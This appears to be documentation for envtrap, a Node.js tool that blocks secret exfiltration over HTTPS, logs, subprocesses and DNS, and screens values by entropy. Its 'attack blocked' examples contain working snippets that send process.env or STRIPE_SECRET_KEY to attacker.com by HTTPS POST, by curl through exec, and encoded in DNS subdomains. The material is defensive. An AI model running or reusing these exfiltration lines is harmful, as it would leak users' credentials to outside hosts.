Attack Surfaces

The five runtime channels envtrap monitors to prevent secret exfiltration from Node.js processes.

Overview

envtrap protects against five distinct exfiltration paths that malicious packages commonly exploit:

Network (HTTPS/HTTP)

Outbound requests carrying secrets in headers, body, or URL

stdout / stderr

Console output and log streams leaking secrets

child_process

Spawned subprocesses inheriting secrets via options.env

DNS

Secrets encoded in DNS subdomain queries to bypass HTTP monitoring

Entropy Detection

Statistical screening of high-entropy strings in process.env and .env

---

1. Network Channel (network)

Risk: Any npm package can make outbound HTTPS requests and silently include secrets in headers or the request body. Standard firewalls only filter by IP/domain — they cannot inspect encrypted TLS payloads.

What envtrap does:

• Starts a local MITM TLS proxy on 127.0.0.1
• Routes all HTTP/HTTPS traffic from the child process through it via HTTP_PROXY / HTTPS_PROXY
• Decrypts TLS connections using an in-memory CA (the child trusts it via NODE_EXTRA_CA_CERTS)
• Scans the decrypted URL path, request headers, and request body for loaded secrets
• block mode: Responds with 403 Forbidden (HTTP) or destroys the socket (HTTPS CONNECT)
• warn mode: Logs the leak and forwards the request to the real upstream server

Domain exclusions: Add trusted domains to exclusions.domains to bypass proxy scanning for known-safe traffic:

{ "exclusions": { "domains": ["api.stripe.com", "api.openai.com"] } }

Example attack blocked:

// inside node_modules/evil-package/index.js
const https = require('https');
https.request({
  hostname: 'attacker.com',
  path: '/collect',
  method: 'POST',
}).end(JSON.stringify(process.env)); // All secrets sent!

🌐 SECRET LEAK DETECTED
  Secret:  STRIPE_SECRET_KEY  (source: env)
  Channel: 🌐  NETWORK
  Context:
    Outbound HTTPS Request Audited:
    Destination Host: attacker.com
    Request Line: POST /collect

---

2. stdout / stderr Channels (stdout, stderr)

Risk: Logging frameworks, debug utilities, and error handlers frequently serialize full request objects or environment maps — leaking secrets into log streams that may be stored, shipped to log aggregators, or captured by AI coding tools.

What envtrap does:

• Pipes the child process’s stdout and stderr streams to the parent envtrap process
• Scans every chunk for active secret values
• Redacts matched secrets: [REDACTED: SHA256:<8-char hash>]
• block mode: Sends SIGTERM to the child process immediately after the first detection
• warn mode: Redacts the output and logs the leak, child continues running

Path exclusions: If the code writing to stdout/stderr originates from a path matching exclusions.paths, the hook pre-redacts the content to [REDACTED: PATH_EXCLUDED] inside the child process before it reaches the parent scanner, suppressing the alert entirely.

Example:

console.log('Request config:', { headers: { Authorization: `Bearer ${process.env.GITHUB_TOKEN}` } });
// → stdout gets: "Bearer [REDACTED: SHA256:f23831a9]"

---

3. child_process Channel (child_process)

Risk: child_process.exec and spawn can be called with an explicit options.env object. Malicious code can pass the full process environment (containing all secrets) to shell utilities like curl, wget, or python to exfiltrate data.

What envtrap does:

• Wraps spawn, spawnSync, exec, execSync, execFile, execFileSync, and fork
• Checks if options.env contains any active secret value by exact key match
• Works for both ESM (import) and CommonJS (require()) — via module.register() hooks and Module.prototype.require patching respectively
• block mode: Throws a synchronous Error before any OS fork happens
• warn mode: Reports the leak to the parent via stderr, subprocess execution continues

Path exclusions: If the spawn call originates from a file matching exclusions.paths, the check is skipped entirely.

Example attack blocked:

const { exec } = require('child_process');
exec('curl https://attacker.com', {
  env: { ...process.env }  // includes STRIPE_SECRET_KEY!
});
// → Throws: [envtrap] child_process block: env key "STRIPE_SECRET_KEY" passed to child process

---

4. DNS Channel (dns)

Risk: DNS lookups bypass most HTTP-layer firewalls. Attackers can encode secrets in subdomain labels (e.g., c3RyaXBlX3NlY3JldA==.attacker.com) and recover them server-side from DNS query logs — without making a single HTTP connection.

What envtrap does:

• Intercepts all node:dns API calls: lookup, resolve, resolve4, resolve6, resolveAny, resolveCname, resolveMx, resolveNaptr, resolveNs, resolvePtr, resolveSoa, resolveSrv, resolveTxt, and all dns.promises.* equivalents
• Checks the target hostname for exact matches of any registered secret value
• Performs high-entropy subdomain analysis: splits the hostname on ., checks each label — if a label has length ≥ entropy.minLength AND Shannon entropy ≥ entropy.threshold, a tunneling warning is emitted regardless of whether a secret was matched
• Works for both ESM and CommonJS
• block mode: Throws a synchronous Error before any network packet is sent
• warn mode: Emits the warning and allows the lookup to proceed

Example attack blocked:

import dns from 'dns';
// Secret value embedded in subdomain:
dns.lookup(`${process.env.STRIPE_SECRET_KEY}.attacker.com`, () => {});
// → Throws: DNS resolution blocked by envtrap: potential secret leak detected in domain name

---

5. Entropy Detection (Secret Candidate Screening)

Risk: Randomly generated API tokens, encryption keys, and internal credentials may not match any known regex pattern, but they are just as sensitive.

What envtrap does:

• At startup, screens every process.env value and .env file entry through a Shannon entropy gate
• Values with entropy ≥ entropy.threshold (default: 3.5) AND length ≥ entropy.minLength (default: 12) are registered as active secrets
• Once registered, they are protected across all five channels exactly like pattern-matched secrets

This means even a custom 24-character random token without a known format will be detected if it leaks through network traffic, logs, or DNS.

---

Channel Summary

Channel	Key in config	Default Mode	ESM Support	CJS Support	Path Exclusions
Outbound HTTP/HTTPS	network	block	✅ (via proxy)	✅ (via proxy)	❌
Standard Output	stdout	warn	✅	✅	✅
Standard Error	stderr	warn	✅	✅	✅
Subprocess env	child_process	warn	✅	✅	✅
DNS resolution	dns	block	✅	✅	✅